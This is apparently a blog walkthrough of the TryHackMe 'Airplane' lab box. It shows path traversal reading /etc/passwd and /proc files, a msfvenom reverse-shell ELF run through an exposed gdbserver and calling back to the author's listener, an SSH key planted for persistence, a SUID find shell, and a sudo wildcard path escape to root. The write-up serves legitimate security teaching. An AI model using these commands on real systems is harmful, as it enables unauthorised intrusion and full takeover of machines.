Post

TryHackMe - Airplane


Airplane from TryHackMe is an interesting box where we exploit a path traversal to read the cmdline of a process running on a non-standard port to find it’s gdb server, we exploit that to get foothold. A binary with suid is then found giving us access to another user that can run ruby script on root directory as root, a wild card is used on the sudo command so we exploit that to get root.

Enumeration

nmap

We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for 10.10.195.91                                                                        
Host is up (0.22s latency).                       
Not shown: 998 closed tcp ports (reset)                                                                  
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)                    
| ssh-hostkey:                                                                                           
|   3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)
|   256 ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)
|_  256 a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)                                      
8000/tcp open  http-alt Werkzeug/3.0.2 Python/3.8.10 
|_http-title: Did not follow redirect to http://airplane.thm:8000/?page=index.html
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10

We found two open ports, the first is 22 running openssh and 8000 running Werkzeug python web server, we can guess that the web application is flask.

Web

The nmap scan showed a redirect to airplane.thm, so let’s add that to /etc/hsots file and then navigate to the website.

website

We see that the website uses the page parameter to load index.html.

Let’s test for directory traversal vulnerability.

dt

It worked and we managed to read the passwd file.

I tried reading the ssh private keys of the users but it didn’t work.

Since this is a python application, we can read the environment variables of the process on the file /proc/self/environ.

environ

This gave us the location of where the application was run from which is /home/hudson.

We can guess that the application source code is at /home/hudson/app.py or so.

source

We found it at /home/hudson/app/app.py.

Nothing more to this app besides loading the files.

We can also try /proc/self/cmdline to see the command used to run the application.

1
2
curl http://airplane.thm:8000/?page=../../../../../proc/self/cmdline -o-
/usr/bin/python3app.py

Nothing interesting here.

Running nmap for all ports shows an extra open port.

1
2
3
4
5
6
Host is up (0.30s latency).
Not shown: 63327 closed tcp ports (reset), 2205 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
6048/tcp open  x11
8000/tcp open  http-alt

I tried interacting with the port in different ways but I get nothing.

Let’s use the path traversal to brute force the process PID cmdline and hopefully we can find something related to this port.

Use the following script to help with that.

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

for i in $(seq 1 1000); do

    path="/proc/${i}/cmdline"

    response=$(curl -s http://airplane.thm:8000/?page=../../../..${path} -o- | tr '\000' ' ')
    if [[ -n "$response" && ! "$response" =~ "Page not found" ]]; then
        echo "${i}: ${response}"
    fi

done

The original script was taken from an 0xdf writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[★]$ bash exploit.sh
1: /sbin/init splash
223: /lib/systemd/systemd-journald
263: /lib/systemd/systemd-udevd
293: /lib/systemd/systemd-networkd
300: /lib/systemd/systemd-timesyncd
307: /lib/systemd/systemd-resolved
309: /lib/systemd/systemd-timesyncd                                                                      
363: /usr/lib/accountsservice/accounts-daemon                                                            
368: /usr/sbin/acpid                                                                                     
371: avahi-daemon: running [airplane.local] 
373: /usr/sbin/cron -f                
375: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
[...]
528: /usr/bin/gdbserver 0.0.0.0:6048 airplane 
531: /usr/bin/python3 app.py 
534: /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal 
535: /usr/sbin/ModemManager 
[....]

We found the process /usr/bin/gdbserver 0.0.0.0:6048 airplane.

It’s running gdbserver on port 6048.

Foothold

We can use the following hacktricks page to exploit the gdbserver. This technique uses a malicious elf that we upload to the gdbserver and then run it there.

First we create an elf binary.

1
2
3
4
5
6
7
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.21.94.28 LPORT=443 PrependFork=true -f elf -o rev.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload                     
[-] No arch selected, selecting arch: x64 from the payload                                                                                                                                                         
No encoder specified, outputting raw payload                                                                                                                                                                       
Payload size: 106 bytes
Final size of elf file: 226 bytes
Saved as: rev.elf

Now we open the file locally using gdb

1
2
3
4
[★]$ gdb -q rev.elf                             
Reading symbols from rev.elf...                     
(No debugging symbols found in rev.elf)                                                                  
(gdb)

Now we connect to the remote server on port 6048.

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) target extended-remote 10.10.151.120:6048
Remote debugging using 10.10.151.120:6048
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
Reading symbols from target:/lib64/ld-linux-x86-64.so.2...
Reading /usr/lib/debug/.build-id/7a/e2aaae1a0e5b262df913ee0885582d2e327982.debug from remote target...
Reading /usr/lib/debug/.build-id/7a/e2aaae1a0e5b262df913ee0885582d2e327982.debug from remote target...
Reading symbols from target:/usr/lib/debug/.build-id/7a/e2aaae1a0e5b262df913ee0885582d2e327982.debug...
Reading /usr/lib/debug/.build-id/e9/8c2a320466a026c0a0236da38a5156f9b8cb54.debug from remote target...
0x00007ffff7fd0100 in _start () from target:/lib64/ld-linux-x86-64.so.2
(gdb)

Now we upload the file.

1
2
(gdb) remote put rev.elf /dev/shm/rev
Successfully sent file "rev.elf".

Now we setup our listener and run the file.

1
2
3
4
5
6
7
8
9
(gdb) set remote exec-file /dev/shm/rev
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program:  
Reading /dev/shm/rev from remote target...
Reading /dev/shm/rev from remote target...
Reading symbols from target:/dev/shm/rev...
(No debugging symbols found in target:/dev/shm/rev)
1
2
3
4
5
6
[★]$ sudo nc -lvnp 443
[sudo] password for sirius: 
listening on [any] 443 ...
connect to [10.21.94.28] from (UNKNOWN) [10.10.151.120] 55882
id
uid=1001(hudson) gid=1001(hudson) groups=1001(hudson)

Privilege Escalation

hudson -> carlos

Before continuing, I’ll add my ssh public key to hudson’s authorized keys to get an ssh shell.

1
2
3
4
cd .ssh                                                                                               
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrJW6y2ywVe98xsv7gmb+nEo4/4A8sJ6CYxymKTt9DojualEkttx6zI+GPtAqKNWU0TuETqBgRvYrcUXKrtOLpaPF+Q0v7bY3TWDc0fm7fkQT+PP5j5jDVKT/tF8X8pBqH/DQUXfe6HM4Fn810AowTLdrEfOnglMUnOSBs+
SekCJkO40CvoDJlOp1mZpHeChfkCb/QOavs9midUmVFLHH9vzmTelwvktuCOeVXzFWPDV6gzYB/qrM1a2amA3KNzeOOlr2Z7QC16xEYHuZHPZEY6kCJcWIe2ytClcGl7kYwaGdco41KhWmS8bNBzGDILIyfV3LqSGup6JT0cP6hetdLDzH10T1eQmW5CFbMOBKCpJTUCjPwyW7nDdTP
M9+qch7R3wcvvWaSTcWeE1jN+6fnIXjqDBWUDvV8772qUtZRq3g8OsgSrXcPO5y9wnrPpWTvW9b1Cr+JbZ/zsS5DsHya6tC9SdgoJOwAAjItsq6BXxgw8+VT6tbSTTXcDTHIvAc= sirius@parrot' > authorized_keys

Now I ran linpeas and found that find has suid bit.

1
-rwsr-xr-x 1 carlos carlos 313K Şub 18  2020 /usr/bin/find

Carlos is the owner of the file so we’re getting a shell as carlos using the following command from GTFOBins

1
find . -exec /bin/sh -p \; -quit
1
2
3
hudson@airplane:~$ find . -exec /bin/sh -p \; -quit
$ whoami
carlos

I switched back to hudson’s session and copied the authorized_keys file to tmp then used suid exploit again to get carlos and copied the file on /tmp to carlos’s .ssh directory to get an ssh shell as carlos.

1
2
3
4
5
6
$ exit
hudson@airplane:~$ cp .ssh/authorized_keys /tmp
hudson@airplane:~$ find . -exec /bin/sh -p \; -quit
$ cd /home/carlos
$ cd .ssh
$ cp /tmp/auth* .

This was the only way I was able to connect with an ssh key i don’t know why.

carlos -> root

Let’s check our privileges now.

1
2
3
4
5
6
carlos@airplane:~$ sudo -l
Matching Defaults entries for carlos on airplane:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on airplane:
    (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb

We can ruby scripts located in root directory as root.

There is a wildcard there so we can just move from the root directory to anywhere we want.

I’ll create a ruby script that runs /bin/bash

1
system("/bin/bash")
1
2
3
4
carlos@airplane:~$ echo 'system("/bin/bash")' > shell.rb
carlos@airplane:~$ sudo /usr/bin/ruby /root/../home/carlos/shell.rb
root@airplane:/home/carlos# id
uid=0(root) gid=0(root) groups=0(root)

Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).


References

https://gtfobins.github.io/gtfobins/find/#suid

This post is licensed under CC BY 4.0 by the author.